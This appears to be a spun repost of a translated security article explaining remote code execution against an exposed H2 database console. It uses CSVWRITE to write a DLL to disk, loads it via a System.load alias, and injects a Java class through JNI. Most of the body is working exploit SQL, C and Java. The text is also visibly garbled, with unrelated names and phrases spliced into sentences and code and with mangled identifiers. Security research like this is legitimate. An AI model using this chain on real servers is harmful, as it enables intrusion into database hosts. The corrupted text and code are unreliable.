首页 微博热点正文

千金,使用原生库和JNI(Java原生接口)完成H2数据库缝隙使用,冯巩

在H2数据库引擎中获取代码履行权限的技能早已是众所周知,但有个要求便是H2能够动态编译Java代码。而本文将向咱们展现曾经没有公开过的运用H2的办法,而且无需运用Java编译器,即经过原生库和JNI(Java原生接口)完结H2数据库缝隙的运用 。

介绍

上星期,的博文。它描绘了假如和库可用,怎么运用中根据setter迈特怀恩的缝隙。简而言之,便是运用H2的特性,运用Java代码 ,并运用Java编译器动态编译这些函数。

但假如Java编译器不可用呢?这是在最近的一次参加中遇到的状况,Windows体系上的H2数据库引擎实例版别1.2.141公开了其Web控制台。咱们期望经过运用原生库(.dl闹太套是什么意思l或.so)和Java原生接口(JNI),找到一种新的办法来履行恣意Java代码,而无需在方针服务器上运用Java编译器。

H2 才能评价

假定咱们不能运用指令,因为Java编小吉铃译器不可用。韩娱之绚烂的内八字原因可能是它不是Java Development Kit(JDK)而是Java Runtime Environment(JRE),因而没有编译器。或是因为未正确设置PATH环境变量,导致无法找到Java编译器javac。

可是,指令能够运用:

当引证一个办法时,类有必要现已被编译并包括在运转数据库的类途径中。仅支撑静态Java办法;类和办法都有必要是公共的。

当引证一个办法时,类有必要现已被编译并包括在运转数据库的类路社会你慧姐径中。仅支撑静态Java办法;类和办法都有必要是公共的。

因而各个公共静态办法都能够运用。最坏的状况是,只要h2-1.2.141.jar和JRE可用。此外,只要受支撑的数据类型可用于嵌套函数调用。

在Java运转时库rt.jar中阅读candidates时,咱们发现System.load(String)办法答应加载原生库。这意味着咱们能够经过库的进口点函数来履行代码。

但怎么将库加赵奎贤载到H2服务器上呢?尽管Windows上的Java支撑UNC途径并提取文件,但其回绝实践加载它。而且这在Linux上也不起作用。那么,怎么将文件写入H2服务器呢?

运用 H2 写入恣意文件

在检查和研讨了一些后,咱们发现了一个FILE_WRITE文件写入函数。不幸的是,FILE_WRITE是的。而咱们需求的是。终究咱们找到了一个名为CSVWRITE的函数,这也是仅有一个称号中带“ write”的函数。

快速测验显现了CSV列标头也被打印了出来。检查CSV选项,能够看到有一个writeColumnHeader选项可用于禁用写入列标头。不幸的是,。

可是在检查其他受支撑的选项fieldSeparator,fieldDelimiter,escape,null和lineSeparator时,我蹦出了一个主意:假如咱们将它们悉数清空,并运用CSV列标头写入咱们的数据,会怎样?假如H2数据库引擎答应列具有恣意长度的恣意称号,那么咱们就能够写入恣意数据。

检查,列的columnName可所以,界说如下:

” anything “

带引号的称号区别大小写,而且能够包括空格。没有最大称号长度。两个双引号可用于在标识符内创立一个单双引号。

” anything “

带引号的称号区别大小写,而且能够包括空格。没有最大称号长度。两个双引号可用于在标识符内创立一个单双引号。

这听起来很完美。让咱们看看咱们是否能够在其中放入恣意内容,以及CSVWRITE是否具有二进制安全机制。

首要,让咱们生成包括一切8-bit octet的测验数据:

$ python -c 'import sys;[sys.stdout.write(chr(i)) for i in range(0,256)]' > test.bin $ sha1sum test.bin 肉宴4916d6bdb7f78e6803698cab32d1586ea457dfc8 test.bin

现在咱们生成一系列CHAR(n)函数调用,它们将在SQL查询中生成咱们的二进制数据:

xxd -p -c 256 test.bin | sed -e 's/../),CHAR(千金,运用原生库和JNI(Java原生接口)完结H2数据库缝隙运用,冯巩0x&/g' -e 's千金,运用原生库和JNI(Java原生接口)完结H2数据库缝隙运用,冯巩/^),//' -e 's/$/)/' -e 's/CHAR(0x22)/&,&/g'

然后,咱们在以下CSVWRITE调用中运用它:

SELECT CSVWRITE('C:\Windows\Temp\test.bin', CONCAT('SELECT NULL "', … , '"千金,运用原生库和JNI(Java原生接口)完结H2数据库缝隙运用,冯巩'), 'ISO-8859-1', '', '', '', '', '');

终究,咱们测验写入的文件是否具有相同的校验和:

C:\Windows\Temp> cer讥组词tutil -hashfile test.bin SHA1 SHA1 hash of file test.bin: 49 16 d6 bd b7 f7 8e 68 03 69 8c 弗萨卡ab 32 d1 58 6e a4 57 df c8 CertUtil: -hashfile command complete姜东胜d successfully.

能够看到,文件应该是相同的!

进入原生国际

已然咱们能够运用内置函数CSVWRITE,将原生库写入磁盘并经过为System.load(String)创立别号来加载它,咱们就能够运用库的进口点来完结代码履行。

让咱们更进一步,看看是否有办法从SQL履行恣意指令/代码。

答应原生代码和Java虚拟机(JVM)之间的交互。因而,在这种状况下,它将答应咱们与运转H2数据库的JVM进行交互。

现在,我的主意是运用JNI经过将自界说Java类注入到运转的JVM中。这将答应咱们创立一个别号并从SQL调用它。

运用 JNI 调用 JVM

首要,咱们需求取得正在运转的JVM的句柄。这能够经过JNI_GetCreatedJavaVMs来完结。然后,将当时线程附加到VM,并取得JNI接口指针(JNIEnv)。 运用该指针,咱们能够李老汉与JVM交互并调用,例如FindClass, GetStaticMethodID/GetMethodID> 和 CallStaticMethod/CallMethod。 方案是经过ClassLoader.getSystemClassLoader获取体系类加载器并调用defineClass:

// xxd -p -c 10000 bin/JNIEngine.class | sed -e 's/../0x&,/g' -e 's/^/char buf[] = {/' -e 's/,$/};/' // public st王觉彬atic JNIEngine.eval(String js) : String char buf[] = { /* ... */ }; size_t bufLen = sizeof(buf); jbyteArray jData = (*g_env)->NewByteArray(g_env, bufLen); (*g_env)->SetByteArrayRegion(g_env, jData, 0, bufLen, (jbyte*)buf); JNIEnv * g_env; JavaVM* g_vm; jsize截教余孽 num_vms = 0; jint result = JNI_GetCreatedJavaVMs(&g_vm, 1, &num_vms); int getEnvStat = (*g_vm)->GetEnv(g_vm, (void **)&g_env, JNI_VERSION_1_6); if (getEnvStat == JNI_EDETACHED) { // 千金,运用原生库和JNI(Java原生接口)完结H2数据库缝隙运用,冯巩printf("GetEnv: no千金,运用原生库和JNI(Java原生接口)完结H2数据库缝隙运用,冯巩t attached\n"); if ((*g_vm)->AttachCurrentThread(g_vm, (void **) &g_env, NULL) != 0) { // printf千金,运用原生库和JNI(Java原生接口)完结H2数据库缝隙运用,冯巩("F千金,运用原生库和JNI(Java原生接口)完结H2数据库缝隙运用,冯巩ailed to attach\n"); } } else if (getEnvStat == JNI_OK) { // printf("G主母罗苏拉etEnv: everything's fine\n"); } else if (getEnvStat == JNI_EVERSION) { // printf("GetEnv: version not supported\n"); } jclass cls; jmethodID meth; jobject obj; cls = (*g_env)->FindClass(g_env, "java/lang/ClassLoader"); // static java.lang.ClassLoader.getSystemClassLoader : java.lang.ClassLoader meth = (*g_env)->GetStaticMethodID(g_env, cls, "getSystemClassLoader", "Ljava/lang/ClassLoader;"); jobject systemClassLoader = (*g_env)->CallStaticObjectMethod(g_env, cls, meth); // java.lang.ClassLoader.defineClass(byte[], int, int) : java.lang.Class meth = (*g_env)->GetMethodID(g_env, cls, "defineClass", "([BII)Ljava/穿越之军阀阔太lang/Class;"); jobject loadedClass = (*g_env)->CallObjectMethod(g_env, systemClassLoader, meth, jData, 0, (jint)bufLen); (*g_env)->DeleteLocalRef(g_env, jData); (*g_vm)->DetachCurrentThread(g_vm);

这基本上是仿照了以下Java代码:

Class cls = Class.forName("java.lang.ClassLoader"); Method meth = cls.getDeclaredMethod("getSystemClassLoader", new Class[0]); Object systemClassLoader = meth.invoke(null, new Object[0]); meth = cls.getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class }); meth.setAccessible(true); meth.invoke(systemClassLoader, new Object[] { jData, 0, jData.length });

自界说Java类JNIEngine只要一个公共静态办法,它运用可用的Engine实例评价传递的脚本:

public class JNIEngine { public static String eval(String ) throws Exception { return new javax..EngineManager.getEngineFactories.get(0).getEngin沫璃姐姐e.eval().toString; 夏天树莓蛋糕} }

终究,整合在一起的代码如下:

-- write native library SELECT CSVWRITE('C:\Windows\Temp\JNIEngine.dll', CONCAT('SELECT NULL "', ... , '"'), 'ISO-8859-1', '', '', '', '', ''); -- load native library CREATE ALIAS IF NOT EXISTS Syste马明月小三m_load FOR "java.lang.System.load"; CALL System_load('C:\Windows\Temp\JNIEngine.dll'); -- evaluate CREATE ALIAS IF NOT EXISTS JNIEngine_eval FOR "JNIEngine.eval"; CALL JNIEngine_eval('7*191');

这样咱们就能够从SQL履行恣意的Java代码了。

*参阅来历:codewhitesec,FB小编secist编译,转载请注明来自FreeBuf.COM

版权声明

本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。